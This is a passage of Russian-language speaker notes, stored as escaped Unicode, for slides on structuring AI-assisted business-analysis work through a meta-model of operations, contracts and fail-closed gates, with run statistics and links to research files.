\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 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\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 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\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 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\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 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RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 